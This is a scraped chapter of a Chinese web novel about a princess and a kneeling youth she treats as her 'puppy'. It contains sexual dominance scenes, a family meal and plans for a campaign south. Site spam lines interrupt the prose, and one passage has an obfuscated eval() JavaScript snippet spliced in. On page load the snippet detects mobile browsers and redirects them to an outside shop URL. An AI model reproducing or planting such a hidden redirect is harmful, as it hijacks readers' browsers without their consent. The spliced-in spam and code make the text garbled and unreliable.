“怎么了?”薛筠意忍不住问道。
邬琅抿唇沉默着,眼尾那片绯红却越来越浓。
薛筠意无奈只得牵着阿山先进了屋。
少年跟在她身后一路膝行至床前,薛筠意坐下来一抬眼,便见一人一狗一跪一坐,两双湿漉漉的黑眸齐齐望着她。
嗅到空气中飘来的肉香阿山喉咙里发出讨好的呜呜声,它迫不及待地用爪子扒拉着薛筠意的膝盖,还用毛茸茸的脑袋去蹭她的掌心。
薛筠意拗不过它撒娇只得伸手摸了摸它的脑袋以作安抚才摸了不过两下而已,余光便瞥见跪在一旁的邬琅蔫巴巴地低下了头一副失了宠的落寞模样。
无法,她只得松开链子腾出手来,一手摸着软乎乎的狗**另一只手则抚摸着少年柔顺的墨发如此,总算是一碗水端平了。
“怎么不说话?”薛筠意顺手替他将鬓边的碎发理好,耐心地问道。
少年这时才哑声开口:“您、您之前答应过奴的不会再养其它的小狗。”
薛筠意怔了怔,不由失笑她还以为是谁欺负了他呢,不曾想竟是在吃阿山的醋。
今日舅舅的确随口提过一句阿山去年才生了一窝小崽子各个儿都皮实得很,她若喜欢随意挑一只带在身边养着就是。她想了想觉得自己怕是没这个心力便婉言拒绝了。
见少年满眼委屈薛筠意放柔了语气道:“别胡思乱想。阿山可是舅舅的宝贝便是我当真要养舅舅都未必舍得给我呢。是舅舅这几日忙着军营里的事抽不开身照顾阿山所以才拜托我帮忙照顾。阿山精力旺盛我的腿疾才好正该多出去走动走动也算是一举两得。”
邬琅眼眸亮了亮却还是有些将信将疑:“主人说的可是真的?”
“我何时骗过你了。”
她还要再解释几句阿山已经急不可耐地想吃骨头了只差没把尾巴摇到她脸上去。
薛筠意赶忙拿过碟子见邬琅也眼巴巴地盯着她手中的瓷碟她停顿片刻先用帕子擦了擦手再耐心地将骨头上软烂的肉丝一点点撕下来放进碟子里然后才将骨头丢给阿山。
阿山看着面前没剩下多少肉的骨头哀怨地叫了一声薛筠意已经把碟子递到邬琅面前弯唇道:“不是馋了吗?吃吧。”
邬琅的脸颊顿时烧得通红。
他、他才没有馋他只是嫉妒阿山能得到主人亲自喂食
可主人的赏赐就摆在眼前他只得小声谢了恩然后便张开唇齿小口小口地叼起肉丝吞咽进腹中。
阿山围着薛筠意摇了半天尾巴也没能换来一块好肉趴在地上不大高兴地啃着那块
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
没肉的骨头棒子。
邬琅悄悄朝阿山瞥去一眼,心里的委屈倏然散了大半。碟子里的肉丝被他吃得干干净净,见薛筠意的指尖沾上了一点肉汁,他膝行着上前,小心地替她清理干净。
好乖的小狗。
薛筠意顺手扯住他口中探出的那截湿.红,漫不经心地把玩着,心想,还是把阿山送回舅舅那儿吧,谁让她的小狗这般爱吃醋呢。
不知不觉间,晶莹的涎液顺着少年的唇角淌了下来,粘腻地滴落在地上,薛筠意这时才回过神,忙收回手,用帕子擦去指尖的潮湿。
丫鬟叩响了房门,送来了热腾腾的晚饭。
薛筠意简单吃了些,吩咐邬琅留在屋里等她,便又带着阿山出去了。
她决定现在就把阿山送回去,不然,她的小狗今夜怕是要睡不安稳了。
姜琰思量再三,便把阿山先送去了老太太院里养着,薛筠意在翠微院陪着老太太说了好一会儿的话,才回到客房。
房间里只点了一盏幽暗的烛灯。
少年跪在床前,身上披着件白狐皮大氅,修长的手指紧紧攥着系带,听见推门声,他紧张地抬起头,慢慢地松开了手。
薛筠意脚步微顿,下意识地屏住了呼吸。
入夜风寒,顺着门缝灌进屋中,拂动少年鬓边的墨发。柔软的狐皮堆叠在他身后,他竟连里衣都未穿,那对漆红的小发夹,如灼灼盛放的红梅,格外醒目,小巧的铃铛随着他的战栗轻轻颤动着,发出细碎悦耳的声响。少年双手规矩地放在膝上,纤白手腕上还特意系了细细的红绳,远远望着,像是肌肤上勒出的红痕一般,勾人得要命。
最令薛筠意移不开眼的,是那支茎叶上还带着刺的红蔷薇,用细绳缠得紧实,牢牢地绑在小邬琅身上。
“主人,今晚可以、可以宠幸奴吗。
少年红着脸,小心翼翼地问道。
“又不是头一次了,怎么还这般精心准备。薛筠意忍不住打趣道。
“不一样的。少年急忙解释,“这是您身子好了之后的第一次,奴不想扫了您的兴致。
薛筠意莞尔,关上房门,便快步朝邬琅走去,她随手勾起他颈间黑绳,少年踉跄了下,听话地顺着她的力道转身,薛筠意这时才看见,他身后竟还戴着那支海棠珠花步摇。
——精心打扮的小狗,很漂亮。
“跪多久了?
将人扯上床榻,薛筠意揉了揉他的发顶,柔声问道。
“回主人话,半个时辰。
少年哑声答道,又挪膝凑近了些,怯怯地把那朵娇艳的蔷薇送到她的手边。
“这是送您的礼物……不知您喜不喜欢。
红艳艳的花瓣上沾着晶莹
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
的水渍,不知是晨露还是旁的什么,薛筠意用指尖擦去,顺手抹在少年的喉结上,他羞耻地闭了闭眼,却扬高了脖颈,任由她摆弄。
“过来些。他听见薛筠意温声命令。
“是。
他顺从地趴伏下来,等着像往常那般被使用,薛筠意却按住了他的肩膀,将他整个人翻了过来,温柔地抵在榻上。
少年清冷的黑眸里闪过一丝茫然。
她没有收下那支花,只是折起他的膝弯,俯身吻了下来。
“唔……
熟悉的香气将他的呼吸填满,鼻息肺腑间,每一缕空气,都是主人身上令他深深迷恋的味道。
他自觉地将双手交叠举过头顶,但很快便被一只柔软却有力的手拽了回来,她啄吻他潮湿红艳的薄唇,低声命令,“抱着我,阿琅。
少年的掌心颤抖着覆了上去。触碰到那凝脂般温软的肌肤,他再难自抑,用力抱紧了他的神明,他的主人,他生命的全部。
*
醒来时,已是天明。
昨夜折腾得太晚,还未来得及收拾,便迷迷糊糊睡着了,这会儿坐起身,邬琅才看清了自己满身的狼狈。
娇红的花瓣四下散落,凌乱地贴在他随呼吸起伏的腹肌上。
眼前不由自主地浮现出那时的旖旎景象,他蓦地红了脸,长长的鸦睫垂了下去,眼里却是藏不住的欢喜。
“醒了?薛筠意侧过身,含笑望着他手腕上还没解下的红绳,“累不累?要不要再睡会儿?
他慌忙摇头道:“奴不累的……
一出声,却惊觉嗓音嘶哑得厉害,少年的脸顿时又红了几分。
薛筠意弯唇,好心地没再逗他,倾身过去,在小狗熟透的脸颊上落下一个冰凉的吻。
“好啦,都快晌午了。快起来收拾收拾,舅舅方才已经派人来过,催着我们去前院一同用饭呢。
“是。
邬琅低垂着头,迅速捡起枕边散落的衣裳穿好。
知道他昨夜累得不轻,薛筠意便叫了墨楹进来服侍她梳洗,余光瞥见桌上还放着几枚昨日在市集上买来的银发夹,她随手拨了拨,心情颇好地挑了一枚样式朴素些的,让墨楹替她戴上。
出门时,邬琅瞧见她乌发间缀着的发夹,下意识地低头看了眼胸前,不知想到了什么,脸上才褪下去的红又泛了上来。
到了前堂,姜琰等人早都入了座,远远便望见薛筠意只随意套了件素净的袄子,也不嫌冷,倒是她身旁跟着的那少年,身上严严实实地罩了件白狐皮大氅,那张清俊的脸染着绯红,细看时,还能看见他颈间零星的红印,喉结微微红肿着,还残留着一道清晰的齿痕。
察觉到众人打
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
量的目光,少年将头埋得更低了,好在姜琰及时出声,笑着招呼道:“外头冷,快进来坐。”
薛筠意带着邬琅落了座,桌上早摆满了热腾腾的菜肴,姜老太太连声吩咐丫鬟,把那盅羊肉汤端到薛筠意面前,让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019653|194235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她多喝些,补补身子。
“给邬琅也盛一碗,这孩子瞧着是吃过苦的,更得多补补才行。筠筠啊,到底是你自个儿养的人,莫要再让他受委屈了。”姜老太太看向邬琅,慈爱地说道。
“知道了,曾祖母。”薛筠意笑着应下。
邬琅连忙道:“曾祖母,殿下待我很好的,从来没让我受过委屈。”
姜老太太便笑:“瞧你,我不过随口提醒筠筠几句,又不曾指责她什么,你倒是着急着替她解释。”
邬琅抿起唇,不大自在地低下了头。
“曾祖母,阿琅脸皮薄,您就别逗他了。”薛筠意夹起一块炖得软烂的排骨放进姜老太太的碗里,笑着转移了话题,“来,您多吃些。您的脸色瞧着比前几日好多了。听舅舅说,您昨儿个还随外祖父去了趟军营,可是真的?”
姜老太太点了点头,“说来也是多亏了邬琅开的那道方子,如今好歹算是能下地走动了。只是这把老骨头,到底还是不经用了,比不得年轻时候啊……”
说到此处,老太太不由叹了口气,若她再年轻些,此番定会亲自披甲上阵,杀回京都,砍下薛璋的脑袋替元若报仇。
“祖母,您莫说这些丧气话。万事有我和爹爹在,还有筠筠呢。您什么都不用想。”姜琰举起酒盅,“今日设宴,是为了庆祝筠筠身子痊愈,咱们该高高兴兴的才是。”
姜老太太这才敛了愁容,拿起了手边的茶盏。
几盏酒下肚,姜琰便对薛筠意说起了军中的安排,“筠筠,我和爹爹商议过了,三日后便动身南下。咱们得赶在大雪封关前离开,否则,那三牙关里的路怕是难走。”
薛筠意点头,“好。”
姜承虎犹豫再三,还是问了句:“筠筠,你可想好了。一旦踏上这条路,便再回不了头了。”
薛筠意笑笑,“外祖父,从我离开京都的那一刻起,便没有回头路可言了。”
见她神色坚定,姜承虎暗自松了口气,几人又吃了些酒菜,便都各自回房歇息,筹备着南下之事。
薛筠意牵着邬琅的手,踩过石路上薄薄的积雪,一路回到客房。
“主人,您……会不会有危险?”
少年垂眸看着那只与她十指相扣的手,思及南下之事,不免有些担心。
“别怕。”薛筠意停下脚步,认真注视着他的眼睛,“只是这一路上,我要做的事很多,会有些忙。阿琅要照顾好自己,知道吗
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
?”
“奴知道的。”邬琅用力点头,“奴会照顾好您,也会照顾好自己。”
薛筠意弯唇,在他额头上亲了下,“阿琅真乖。去收拾包袱吧。”
“是。”
这夜,薛筠意重又拿出了那张跟了她一路的南疆舆图,借着烛灯的光亮,一面提笔勾画着,一面思量着进京的路线。
见她只着一双单薄罗袜坐在床头,邬琅便跪了下来,小心地捧起她的双足,放在胸口暖着。
薛筠意的注意力都在眼前的舆图上,并未注意到邬琅,她只觉脚下好像踩着个火炉一样的物什,既暖和又舒服,她无意识地挪动了下,却忽然碰到了什么东西,细碎的银铃声颤颤响起,扰乱了她的思绪。
薛筠意微怔,这时才抬起头来,看向跪在一旁的少年,目光落在她双足踩踏之处。
少年却误以为她是起了兴致,忙膝行着往前了些,银夹扯动,生生又肿大了一圈,通红地坠着。
薛筠意顿时吃了一惊。
少年哑声道:“您昨夜说,奴戴上很好看,往后没有您的允许,不许奴擅自摘下。奴听话的。”
“我、我何时说过这话了。”
薛筠意脸颊微热,后知后觉地想起来,昨晚她好像是有些过分了。谁让他哭得满脸是泪,偏还求着她继续,一声声地唤着姐姐,她一时上头,也不知都胡言乱语了些什么……
她掩唇轻咳一声,“床榻上说的话,都是胡言,作不得数的。快些把这东西摘了,不然都要坏掉了。”
闻言,少年却有些委屈,“可是昨晚您亲口说过的,您、您会永远喜欢小狗的。”
这样动听的情话,他恨不得听上一百遍,一千遍,难道也是不作数的吗……